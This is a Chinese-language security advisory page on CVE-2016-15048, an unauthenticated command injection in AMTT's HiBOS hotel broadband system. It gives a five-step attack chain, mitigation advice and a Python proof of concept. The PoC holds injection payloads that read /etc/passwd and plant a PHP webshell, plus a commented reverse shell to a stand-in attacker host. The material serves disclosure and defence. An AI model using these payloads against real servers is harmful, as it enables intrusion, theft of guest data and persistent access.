IPBUF安全漏洞报告
English
CVE-2016-15048 CVSS 9.8 严重

CVE-2016-15048:AMTT HiBOS命令注入远程代码执行漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2016-15048
漏洞类型
命令注入(远程代码执行)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AMTT Hotel Broadband Operation System (HiBOS)

相关标签

命令注入远程代码执行RCEAMTTHiBOS酒店宽带系统未经认证在野利用CVSS9.8严重漏洞

漏洞概述

AMTT Hotel Broadband Operation System(简称HiBOS)是AMTT集团推出的一款酒店宽带运营管理系统,广泛应用于酒店行业的网络接入与计费管理场景。CVE-2016-15048是存在于该系统/manager/radius/server_ping.php端点中的一个未经认证的命令注入漏洞。该漏洞源于应用程序在处理用户通过ip参数传入的输入时,未对其进行充分的验证或转义,直接将其拼接到系统shell命令中执行。攻击者可以通过在ip参数中插入shell元字符(如分号、管道符、反引号等),注入并执行任意系统命令。由于该漏洞无需任何认证即可利用,攻击者可以远程以Web服务器用户身份执行任意命令,从而完全控制目标服务器。该漏洞最初于2016年由第三方披露,建议联系厂商获取修复指导,但该产品可能已更名为其他品牌。VulnCheck于2025年10月14日观察到该漏洞已被在野利用,表明该漏洞仍对未修补的系统构成严重威胁。CVSS 3.1评分为9.8分,属于严重级别,攻击向量为网络利用,攻击复杂度低,无需特权和用户交互,对机密性、完整性和可用性均产生高影响。

技术细节

该漏洞存在于AMTT HiBOS系统的server_ping.php文件中,其功能是检测RADIUS服务器的连通性。在正常情况下,该脚本会接收用户传入的IP地址参数,然后构造类似`ping`的系统命令来测试网络连通性。然而,由于开发者未对用户输入进行严格的过滤和转义,攻击者可以在ip参数中注入shell元字符来突破原有的命令结构。

具体利用方式如下:攻击者向/manager/radius/server_ping.php端点发送HTTP请求,在ip参数中传入恶意载荷,例如`127.0.0.1; cat /etc/passwd`或`127.0.0.1 | whoami`等。服务器端代码会将该参数直接拼接到shell命令中执行,导致注入的命令以Web服务器用户权限被执行。由于该端点无需任何认证即可访问,攻击者只需发送一个精心构造的HTTP请求即可触发漏洞。

该漏洞的利用门槛极低,攻击者无需拥有任何合法凭据,也无需与目标系统进行任何交互。结合其在野利用的观测记录,该漏洞已成为勒索软件团伙和僵尸网络运营商的攻击目标,对仍在线运行未修补版本的酒店宽带系统构成严重安全威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等网络空间搜索引擎或扫描工具,识别暴露在公网上的AMTT HiBOS系统,定位存在漏洞的/manager/radius/server_ping.php端点。
STEP 2
步骤2:构造恶意请求
攻击者向目标端点发送HTTP POST请求,在ip参数中注入shell元字符(如分号、管道符等),构造payload如:ip=127.0.0.1;cat /etc/passwd,将恶意系统命令拼接到原有的ping命令之后。
STEP 3
步骤3:触发命令执行
服务器端PHP脚本未对ip参数进行过滤和转义,直接将其拼接到shell命令中执行。注入的命令以Web服务器用户身份被执行,攻击者可在响应中查看命令执行结果。
STEP 4
步骤4:获取服务器控制权
攻击者通过命令注入获取Web服务器用户权限后,可进一步提权、植入Webshell、窃取敏感数据(如酒店客户信息、计费数据),或将服务器纳入僵尸网络进行DDoS攻击或挖矿。
STEP 5
步骤5:横向移动与持久化
攻击者利用受控服务器作为跳板,对酒店内网进行横向渗透,访问其他业务系统(如PMS酒店管理系统、门锁系统等),并植入持久化后门以维持长期访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2016-15048 - AMTT HiBOS Command Injection PoC # Vulnerability: Unauthenticated Command Injection in /manager/radius/server_ping.php # Parameter: ip (unsanitized, directly concatenated into shell command) import requests TARGET_URL = "http://target-host/manager/radius/server_ping.php" # Payload: inject shell command via ip parameter using semicolon (;) # The original command likely constructs something like: ping -c 4 <user_input> # By injecting "; <command>", we break out of the original command payloads = [ # Basic command execution - read /etc/passwd {"ip": "127.0.0.1; cat /etc/passwd"}, # Reverse shell example (adjust IP and port) # {"ip": "127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1"}, # Write a webshell for persistent access {"ip": "127.0.0.1; echo '<?php system($_GET["cmd"]);?>' > /var/www/html/shell.php"}, # Using pipe (|) as alternative injection vector {"ip": "127.0.0.1 | id"}, # Using backticks for command substitution {"ip": "127.0.0.1 `id`"}, # Using $(command) syntax {"ip": "127.0.0.1 $(id)"}, ] for payload in payloads: try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] Payload: {payload['ip']}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text[:2000]}") print("-" * 60) except Exception as e: print(f"[!] Error: {e}") # Nuclei template reference: # https://github.com/adysec/nuclei_poc/blob/main/poc/remote_code_execution/hiboss-rce_2.yaml

影响范围

AMTT Hotel Broadband Operation System (HiBOS) 所有未修补版本
产品可能已更名为其他品牌名称

防御指南

临时缓解措施
在无法立即获取官方补丁的情况下,建议采取以下临时缓解措施:1)通过防火墙或网络访问控制列表(ACL)限制/manager/radius/server_ping.php端点的访问,仅允许可信IP地址访问;2)将HiBOS管理系统部署在内网环境中,避免直接暴露在互联网;3)部署WAF并配置规则拦截包含shell元字符(;、|、&、$、反引号等)的请求;4)将Web服务器以低权限用户运行,限制命令注入后的影响范围;5)监控server_ping.php的访问日志,检测异常的ip参数值和命令执行记录;6)考虑使用IP白名单或VPN接入方式远程管理HiBOS系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表